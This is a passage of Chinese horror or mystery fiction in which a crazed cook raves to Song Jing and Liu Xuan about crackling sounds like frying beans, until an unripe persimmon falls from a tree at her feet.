那满是污秽的指甲,几乎已经掐进了宋旌的皮肉。 “不是东西!不是东西!!!” 厨娘像摇拨浪鼓一般,拼命地摇晃自己的头颅,“是头顶的横梁在响!是头顶的横梁在响!” “劈里啪啦,劈里啪啦,像用油锅炸豆子一样!” 厨娘大咧着嘴角,喉间不断发出“咯咯咯”的痰音,她用干涸得满是血丝的眼球,直勾勾地望向柳悬。 “你听!就是那个声音!” “骨碌碌...骨碌碌...” “好多的豆子,它们一个接一个掉在油锅里……在油里蹦蹦蹦……发出嗒嗒嗒的声音” 高悬于顶的日头在厨娘那一波接一波的“碌碌”声与“嗒嗒”声中,被一大片流云所遮蔽。高耸的院墙也在昏暗中投下足以吞噬光明的阴影。飞斜的阴影,如兑水的墨汁般,漫过失色的地面,倾盖在众人身上。 厨娘的怪笑声在明与暗中交替。 卒然,她抬手指向柿子树的最高处:“瞧!珠子!是珠子!” 在厨娘那既兴奋又恐惧的叫喊声中,柿子树顶端的枝桠,有一颗泛青的果子,毫无征兆地坠落。 “啪嗒”一声,果实滚至厨娘脚边,而厨娘则像触电一般,飞快地挪开脚,将腿火急火燎地缩回石凳上。